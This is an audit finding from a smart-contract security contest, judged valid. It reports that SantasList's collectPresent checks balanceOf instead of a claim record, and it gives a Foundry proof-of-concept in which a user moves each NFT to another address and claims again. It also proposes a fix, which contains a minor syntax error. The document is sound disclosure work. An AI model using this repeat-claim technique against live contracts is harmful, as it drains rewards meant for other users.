Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

`SantaList:: collectPresent` User can claim NFT / Santa token Unlimited times Instead to once due to flawed check

Summary

collectPresent function allows eligible users to claim unlimited time instead of once.

Vulnerability Details

In collectPresent function users can claim nft or nft plus token as per there status. It should be claimable once when condition met. Here is complete details for vulneability.

function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
//// Wrong implementation to check if user has already collected
@> if (balanceOf(msg.sender) > 0) {
@> revert SantasList__AlreadyCollected();
}
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}

As pointed above, it checks if user nft balance is greator than zero to ensure that user has claimed already. But this is flawed, because user can transfer the nft to another wallet and call collectPresent again.

POC

In the existing test suite, write following test, create nftDump address as well in start, this will be used to transfer nft, to claim reward again and again.

/// existing code
address user = makeAddr("user");
+ address nftDump = makeAddr("nftDump");
address santa = makeAddr("santa");
existing code
function testAllPresentsAreMineLol () public {
/// Santa set user status ///
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
/// let's do some time travel ///
vm.warp(1_703_480_382);
/////// user is now eligible to claim nft and token ///
vm.startPrank(user);
/// collect nft once
santasList.collectPresent();
/// transfer to nft dump (another address)
santasList.safeTransferFrom(user, nftDump, 0, "");
/// collect nft twice
santasList.collectPresent();
/// transfer to another address again
santasList.safeTransferFrom(user, nftDump, 1, "");
/// collect nft thrice
santasList.collectPresent();
/// transfer to another address again
santasList.safeTransferFrom(user, nftDump, 2, "");
vm.stopPrank();
/// Attacker can repeat the steps as many time, In this demo i have shown this step trice
}

Then run following command in your terminal forge test --match-test testAllPresentsAreMineLol -vv
it will print the result like this

[⠢] Compiling...
[⠃] Compiling 1 files with 0.8.22
[⠊] Solc 0.8.22 finished in 1.70s
Compiler run successful!
Running 1 test for test/unit/SantasListTest.t.sol:SantasListTest
[PASS] testAllPresentsAreMineLol() (gas: 248207)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.90ms

Impact

Unfair advantage which can leads to other users dissatisfaction, if NFT and token has some monetary value that will affect as well.

Tools Used

Foundry

Recommendations

Add a mapping for this address => bool public isClaimed
correct way should look like this

pragma solidity 0.8.22;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {TokenUri} from "./TokenUri.sol";
import {SantaToken} from "./SantaToken.sol";
/*
* @title SantasList
* @author South Pole Elves 0x815f577f1c1bce213c012f166744937c889daf17
*
* @notice Santas's naughty or nice list, all on chain!
*/
contract SantasList is ERC721, TokenUri {
////EXISTING CODE
+ mapping (address => bool) isClaimed;
//// EXISTING CODE
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
- revert SantasList__AlreadyCollected();
- }
+ if(isClaimed[msg.sender]{
+ revert SantasList__AlreadyCollected();
+ }
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
+ isClaimed[msg.sender] = true;
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
+ isClaimed[msg.sender] = true;
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}
//// Existing code
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.